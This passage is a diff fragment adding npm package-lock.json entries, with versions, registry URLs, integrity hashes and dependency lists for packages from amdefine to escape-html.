"^1.5.2" + } + }, + "amdefine": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" + }, + "ansi-regex": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", + "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=" + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "anymatch": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-1.3.2.tgz", + "integrity": "sha512-0XNayC8lTHQ2OI8aljNCN3sSx6hsr/1+rlcDAotXJR7C1oZZHCNsfpbKwMjRA3Uqb5tF1Rae2oloTr4xpq+WjA==", + "requires": { + "micromatch": "^2.1.5", + "normalize-path": "^2.0.0" + } + }, + "archy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/archy/-/archy-1.0.0.tgz", + "integrity": "sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=" + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "arr-diff": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz", + "integrity": "sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=", + "requires": { + "arr-flatten": "^1.0.1" + } + }, + "arr-flatten": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==" + }, + "arr-union": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", + "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=" + }, + "array-unique": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz", + "integrity": "sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=" + }, + "asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" + }, + "assign-symbols": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", + "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=" + }, + "async": { + "version": "0.2.10", + "resolved": "https://registry.npmjs.org/async/-/async-0.2.10.tgz", + "integrity": "sha1-trvgsGdLnXGXCMo43owjfLUmw9E=" + }, + "async-each": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.3.tgz", + "integrity": "sha512-z/WhQ5FPySLdvREByI2vZiTWwCnF0moMJ1hK9YQwDTHKh6I7/uSckMetoRGb5UBZPC1z0jlw+n/XCgjeH7y1AQ==" + }, + "atob": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", + "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==" + }, + "babel-code-frame": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", + "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", + "requires": { + "chalk": "^1.1.3", + "esutils": "^2.0.2", + "js-tokens": "^3.0.2" + }, + "dependencies": { + "ansi-styles": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", + "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=" + }, + "chalk": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", + "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", + "requires": { + "ansi-styles": "^2.2.1", + "escape-string-regexp": "^1.0.2", + "has-ansi": "^2.0.0", + "strip-ansi": "^3.0.0", + "supports-color": "^2.0.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" + } + } + }, + "babel-eslint": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-7.2.3.tgz", + "integrity": "sha1-sv4tgBJkcPXBlELcdXJTqJdxCCc=", + "requires": { + "babel-code-frame": "^6.22.0", + "babel-traverse": "^6.23.1", + "babel-types": "^6.23.0", + "babylon": "^6.17.0" + } + }, + "babel-messages": { + "version": "6.23.0", + "resolved": "https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz", + "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", + "requires": { + "babel-runtime": "^6.22.0" + } + }, + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "requires": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + }, + "dependencies": { + "core-js": { + "version": "2.6.5", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.5.tgz", + "integrity": "sha512-klh/kDpwX8hryYL14M9w/xei6vrv6sE8gTHDG7/T/+SEovB/G4ejwcfE/CBzO6Edsu+OETZMZ3wcX/EjUkrl5A==" + } + } + }, + "babel-traverse": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-traverse/-/babel-traverse-6.26.0.tgz", + "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", + "requires": { + "babel-code-frame": "^6.26.0", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "debug": "^2.6.8", + "globals": "^9.18.0", + "invariant": "^2.2.2", + "lodash": "^4.17.4" + } + }, + "babel-types": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", + "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", + "requires": { + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" + } + }, + "babylon": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz", + "integrity": "sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ==" + }, + "balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" + }, + "base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "requires": { + "cache-base": "^1.0.1", + "class-utils": "^0.3.5", + "component-emitter": "^1.2.1", + "define-property": "^1.0.0", + "isobject": "^3.0.1", + "mixin-deep": "^1.2.0", + "pascalcase": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "basic-auth": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-2.0.1.tgz", + "integrity": "sha512-NF+epuEdnUYVlGuhaxbbq+dvJttwLnGY+YixlXlME5KpQ5W3CnXA5cVTneY3SPbPDRkcjMbifrwmFYcClgOZeg==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "binary-extensions": { + "version": "1.13.1", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz", + "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw==" + }, + "bluebird": { + "version": "3.5.4", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.4.tgz", + "integrity": "sha512-FG+nFEZChJrbQ9tIccIfZJBz3J7mLrAhxakAbnrJWn8d7aKOC+LWifa0G+p4ZqKp4y13T7juYvdhq9NzKdsrjw==" + }, + "boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=" + }, + "brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "requires": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "braces": { + "version": "1.8.5", + "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz", + "integrity": "sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=", + "requires": { + "expand-range": "^1.8.1", + "preserve": "^0.2.0", + "repeat-element": "^1.1.2" + } + }, + "browser-fingerprint": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/browser-fingerprint/-/browser-fingerprint-0.0.1.tgz", + "integrity": "sha1-jfPNyiW/fVs1QtYVRdcwBT/OYEo=" + }, + "bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" + }, + "cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "requires": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", + "requires": { + "no-case": "^2.2.0", + "upper-case": "^1.1.1" + } + }, + "camelcase": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=" + }, + "center-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", + "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", + "requires": { + "align-text": "^0.1.3", + "lazy-cache": "^1.0.3" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "cheerio": { + "version": "0.22.0", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-0.22.0.tgz", + "integrity": "sha1-qbqoYKP5tZWmuBsahocxIe06Jp4=", + "requires": { + "css-select": "~1.2.0", + "dom-serializer": "~0.1.0", + "entities": "~1.1.1", + "htmlparser2": "^3.9.1", + "lodash.assignin": "^4.0.9", + "lodash.bind": "^4.1.4", + "lodash.defaults": "^4.0.1", + "lodash.filter": "^4.4.0", + "lodash.flatten": "^4.2.0", + "lodash.foreach": "^4.3.0", + "lodash.map": "^4.4.0", + "lodash.merge": "^4.4.0", + "lodash.pick": "^4.2.1", + "lodash.reduce": "^4.4.0", + "lodash.reject": "^4.4.0", + "lodash.some": "^4.4.0" + } + }, + "chokidar": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz", + "integrity": "sha1-eY5ol3gVHIB2tLNg5e3SjNortGg=", + "requires": { + "anymatch": "^1.3.0", + "async-each": "^1.0.0", + "fsevents": "^1.0.0", + "glob-parent": "^2.0.0", + "inherits": "^2.0.1", + "is-binary-path": "^1.0.0", + "is-glob": "^2.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.0.0" + } + }, + "class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", + "requires": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "clipboard": { + "version": "1.7.1", + "resolved": "https://registry.npmjs.org/clipboard/-/clipboard-1.7.1.tgz", + "integrity": "sha1-Ng1taUbpmnof7zleQrqStem1oWs=", + "optional": true, + "requires": { + "good-listener": "^1.2.2", + "select": "^1.1.2", + "tiny-emitter": "^2.0.0" + } + }, + "cliui": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", + "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wrap-ansi": "^2.0.0" + }, + "dependencies": { + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + } + } + }, + "code-point-at": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=" + }, + "collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", + "requires": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" + }, + "command-exists": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.8.tgz", + "integrity": "sha512-PM54PkseWbiiD/mMsbvW351/u+dafwTJ0ye2qB60G1aGQP9j3xK2gmMDc+R34L3nDtx4qMCitXT75mkbkGJDLw==" + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "compressible": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.17.tgz", + "integrity": "sha512-BGHeLCK1GV7j1bSmQQAi26X+GgWcTjLr/0tzSvMCl3LH1w1IJ4PFSPoV5316b30cneTziC+B1a+3OjoSUcQYmw==", + "requires": { + "mime-db": ">= 1.40.0 < 2" + } + }, + "compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "requires": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + } + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + }, + "connect": { + "version": "3.6.6", + "resolved": "https://registry.npmjs.org/connect/-/connect-3.6.6.tgz", + "integrity": "sha1-Ce/2xVr3I24TcTWnJXSFi2eG9SQ=", + "requires": { + "debug": "2.6.9", + "finalhandler": "1.1.0", + "parseurl": "~1.3.2", + "utils-merge": "1.0.1" + } + }, + "copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=" + }, + "core-js": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-1.2.7.tgz", + "integrity": "sha1-ZSKUwUZR2yj6k70tX/KYOk8IxjY=" + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + }, + "cross-spawn": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-4.0.2.tgz", + "integrity": "sha1-e5JHYhwjrf3ThWAEqCPL45dCTUE=", + "requires": { + "lru-cache": "^4.0.1", + "which": "^1.2.9" + } + }, + "css-parse": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/css-parse/-/css-parse-1.7.0.tgz", + "integrity": "sha1-Mh9s9zeCpv91ERE5D8BeLGV9jJs=" + }, + "css-select": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.2.0.tgz", + "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=", + "requires": { + "boolbase": "~1.0.0", + "css-what": "2.1", + "domutils": "1.5.1", + "nth-check": "~1.0.1" + } + }, + "css-what": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.3.tgz", + "integrity": "sha512-a+EPoD+uZiNfh+5fxw2nO9QwFa6nJe2Or35fGY6Ipw1R3R4AGz1d1TEZrCegvw2YTmZ0jXirGYlzxxpYSHwpEg==" + }, + "cuid": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/cuid/-/cuid-1.3.8.tgz", + "integrity": "sha1-S4deCWm612T37AcGz0T1+wgx9rc=", + "requires": { + "browser-fingerprint": "0.0.1", + "core-js": "^1.1.1", + "node-fingerprint": "0.0.2" + } + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "dependencies": { + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "delegate": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz", + "integrity": "sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==", + "optional": true + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "dir-resolve": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/dir-resolve/-/dir-resolve-1.0.2.tgz", + "integrity": "sha1-c5Rv3+RmrzHBjddWUunCwwDgZRw=" + }, + "dom-serializer": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.1.1.tgz", + "integrity": "sha512-l0IU0pPzLWSHBcieZbpOKgkIn3ts3vAh7ZuFyXNwJxJXk/c4Gwj9xaTJwIDVQCXawWD0qb3IzMGH5rglQaO0XA==", + "requires": { + "domelementtype": "^1.3.0", + "entities": "^1.1.1" + } + }, + "domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==" + }, + "domhandler": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz", + "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==", + "requires": { + "domelementtype": "1" + } + }, + "domutils": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", + "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", + "requires": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "ejs": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-2.6.1.tgz", + "integrity": "sha512-0xy4A/twfrRCnkhfk8ErDi5DqdAsAqeGxht4xkCUrsvhhbQNs7E+4jV0CN7+NKIY0aHE72+XvqtBIXzD31ZbXQ==" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "end-of-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", + "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", + "requires": { + "once": "^1.4.0" + } + }, + "entities": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz", + "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==" + }, + "escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "escape-string-regexp": { + 